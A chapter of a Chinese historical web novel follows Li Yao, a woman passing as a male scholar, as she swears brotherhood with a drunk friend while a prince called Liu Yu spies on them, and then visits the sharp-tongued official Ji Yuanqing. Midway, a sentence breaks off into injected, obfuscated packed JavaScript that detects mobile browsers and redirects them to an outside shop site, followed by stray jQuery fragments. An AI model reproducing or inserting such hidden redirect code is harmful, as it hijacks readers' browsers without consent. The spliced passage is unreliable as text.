刘瑜跟着暗卫的指引找到李瑶时,他们已经在酒楼开了个雅间饮酒。
满桌佳肴,刘瑜看都不看一眼,搬着椅子,坐在离李瑶他们最近的地方偷听。
期间听见一男子说:“李遥你之才华,当世少有,我赵万贯能与你结交当属神佛赐福。不想也有考中进士之日。”
李瑶举杯回敬:“万贯兄切莫妄自菲薄,弱冠之年便考中进士,已是可遇不可求的奇才,他日定能加官晋爵,前途无量。”
“也是,我赵万贯自小便聪颖,只是才学略逊色与你。李遥,在书院时我便想与你结交,只可惜年岁悬殊,未能全同窗之谊,后你又离开书院,我后悔莫及……今从橙县结伴进京赶考,又皆得名次,若君不弃,我赵万贯想与你结为异姓兄弟,不求同年同月同日生,但求同年同月同日……唔……说死有些晦气。总之,李遥你可愿意?日后有用得上我地方,愚兄定鼎力相助。”酒过三巡,赵万贯不胜酒力已有些醉了,他脸颊熏红,痴痴地望着李瑶,盼着她点头同意,了却他此生夙愿。
若是能与李瑶结为兄弟,便是叫他此刻身死,亦此生无憾。
李瑶晃着杯中酒,有些微醺,托着腮看向喝醉的友人:“万贯兄,你我同乡亦同窗,就算你今日不提,我也早在心中把你当做半个兄长,进京这一路你对我的照顾,李遥都记在心间。兄长在上,请受小弟一拜。”
“不用拜,哈哈哈……李遥,我是独子,家中小辈仅我一人,也没个兄弟姐妹的,如今有弟如你,也是死而无憾,我家万贯家财到时定分你一半。”赵万贯仰头大笑,起身端着酒杯踱步到李瑶身旁,长臂一伸重重搁在李瑶肩上,熏红的脸刚想凑过去说点什么,便醉倒,英俊的脸猛地磕在桌上,彻底醉晕过去。
李瑶看着赵万贯的模样,不禁失笑,这新认的兄长还真是性子单纯,心无城府,张口便是半副身家,也不知道家里长辈知道得多生气,这般性子,又怎么在诡谲多变的朝廷中沉浮。
看来得找季大人帮忙,给她这兄长安排个闲差,或者去外地当个小官,否则无人依仗,在朝中容易一招不慎失去性命。
且先去地方历练历练。
这京城的酒比不上橙县香醇,却烈得很,李瑶晃了晃有些晕的脑子,站起身,踱步到窗边,看着窗外的繁华景象,微微出神。
窗外房屋鳞次栉比,酒楼客栈林立,叫卖声不绝于耳,期间亦有不少女子当炉卖酒,摆摊卖菜,或是买些绣品首饰。
确是橙县女子不及的。
可这并不够,世上女子与男子,各占一半,那开客栈开酒楼做官的也应该一半是女子才对,而不是只能捡些京中男子看不上眼的活计谋生。
当如染姐姐那般做掌柜,掌管十几间铺子,靠自己的智谋安身立命。
想起周染,李瑶思绪飘飞,当年救下周染的江南富商,听闻也是个女子,女子在这个世道能做到如此地步,实在不易,若有机会自当结交一番。
隔壁雅间的刘瑜听到他们对饮结拜,心中又是羡慕又是酸涩嫉妒,有些后悔当年在寺中,未曾拉着阿姊义结金兰,此番到叫这小子抢了先。
又听见一声“砰”后便再无响动,刘瑜心下焦急,脑中混乱,各种猜想。
他知阿姊为女子,但不知阿姊身边的男子知不知道,又会不会借着酒劲欺负她。
刘瑜一颗心七上八下,各种猜想乱飞,又或者,他们本是一对……不,那般男子怎配得上阿姊,她的阿姊合该与这世上最好的男子在一起。
至少得貌比潘安,才比子建才行……可若真有如此男子,刘瑜竟也觉得配不上李瑶。
阿姊之姿,无人可及。
刘瑜在心里数着时辰,若是一柱香后还是没有动静,他便要不管不顾地闯进去。
绝不能让那赵姓男子占了阿姊便宜,不然他才不管他是阿姊新认的兄长还是谁,定要把他千刀万剐,杀了泄愤。
就在刘瑜等得不耐准备硬闯之时,隔壁雅间的门开了。
李瑶扶着酒醉的友人,结清酒钱,踱步朝外走,刘瑜急忙出门时,只见着阿姊落阔挺拔的背影。他面覆轻纱,抬手想叫,却又见到周围学子皆慕名聚集在阿姊身边时,阿姊头疼得揉了揉额角,刘瑜便退了。
他站在门后,伸长脖子,贪婪地用目光描绘阿姊的背影,直到李瑶推拒其他学子邀约,身影再也看不见,刘瑜才缓缓关门。
临街的窗边,刘瑜立了很久,久到饭菜皆凉,他才回神。
刘瑜挥手,暗处便有一人影跪下:“殿下!”
“派人去查一下李瑶,以及李瑶身边那个男子。”
“是!”
吩咐完,刘瑜心里空落落的,他沉默地把椅子拖回桌子前,坐下,执起筷子挑了一口面前的菜,菜已经冷了,尝不太出味道,他又给自己倒了一杯酒,掀起面纱,一口饮尽。
酒很烈,刘瑜喝得急,猛地弓着身子咳嗽起来,边咳边给自己又倒了一杯,还是一口饮尽,仿若自虐。
这边,李瑶一路扶着赵万贯回客栈,喝醉酒的赵万贯很老实,倚着李瑶肩膀睡得香甜,直到李瑶把他扔到床上,他醒了一瞬,见是李瑶,嘟囔着说了句:“李遥,恭喜!”便又裹着被子沉沉睡去。
李瑶看着他喝醉的模样,哑然失笑,这一路回来她的酒也醒了不少,遂关上门,准备进自己房间去。
却不想隔壁的蒋学子正好出门,遇见了,李瑶便走上前拱手问好:“蒋兄!”
“李学子,恭喜。”蒋挽拱手为李瑶道贺,然后转身准备离开。
“蒋兄,同喜!日后同朝为官,还请蒋兄多多指点。”
“……自然!”蒋挽脚步不停,往外走去。
李瑶并不在意蒋挽的态度,这蒋挽是与她同时及第的榜眼,有才之人,性格孤傲些也正常,日后同入翰林,再观
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14341344|149086||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
其人品,考量是否值得深交。
回房后,李瑶又把季夫子给她的书信拿了出来,思量再三,决定明日去季府拜访。
—
“李遥见过季大人。”李瑶拱手向季元青问好。
“李遥?你便是父亲常常在信里提及的得意门生?才学无双李二郎李遥?”季元青端坐在椅子上,居高临下地看着刘瑶,眼睛微微眯起,一丝嫉妒闪过。
他那眼高于顶的爹从未如此夸过谁。
眼前这小子,有那么好么?
“是师父谬赞了。”李瑶谦卑回道。
“既是父亲让你来,你为何现在才来找我?”
“前些时日备考紧张,李遥疏忽大意,忘了此事,而今一切尘埃落定,李遥便立刻前来拜访。”面对威严的季元青,李瑶应对自如,也确如她所说,仅是来拜访师父之子。
“哦!是忘了,还是故意不来,借着这个科举的机会,准备另攀高枝?现在当了状元,也无人寻你才想起我季府?”季元青说话刻薄犀利,句句是怀疑讥讽。
“非也,李遥昨日本就想来,但放榜后与友人庆贺痛饮一番,忘了时辰,今日晨起虽有顾相、张尚书、赵侍郎家仆在外等候,但李遥皆拒之,一早便来季府拜见大人。”李瑶回答不卑不亢,见季元青看向自己又接着道:“李遥科举确实是为了当官,但不是为结党营私谋求私利,李遥当官是为天下万民谋福祉。”
“你倒是长了张利嘴!坐吧!”季元青抬手指了指下首的椅子,让李瑶入座,也不知是否信了她的回答。
“不了,李遥此番前来,只是听从师父的话,拜访季大人,既然季大人看不上李遥,李遥便就此离去,也免得污了大人的眼。”李瑶拱手,利落转身离开。
“且慢!”李瑶要走,季元青反倒有些急了,若是让父亲知道李瑶来了,又被他赶走了,怕是要连夜从橙县赶来臭骂他一通:“既是父亲让你投奔我,便留下吧,西厢房前日刚好收拾出来,你放心住下便是,等朝廷任命到了,再离开建府也不迟。”
“季大人,李遥并无攀附之意,且客栈尚未退房,且有友人住着,便不住在季府了。”李遥脚步未停,径自离去。
气得季元青跳脚,知道自己是把李瑶气到了,竟是给她台阶也不下,气煞他也。
想他季元青当官近二十载,除了他爹,有谁敢给他脸色瞧。
不住,便不住,搞得好像他季元青非巴结她李遥一样。
大不了到时父亲问起来,便说这李瑶看不上他季府,若是父亲不信,那便任由他骂好了,反正他都四十了,父亲再生气还能打他这个刑部尚书?
离开季府的李瑶还有些发愁,本想着让季大人帮忙给赵万贯安排个合适的去处,却不想这季大人说话实在阴阳怪气,与师父描述不符,若是她提了,岂不是坐实她李瑶有攀附之心。
罢了,到时她再想想其他法子。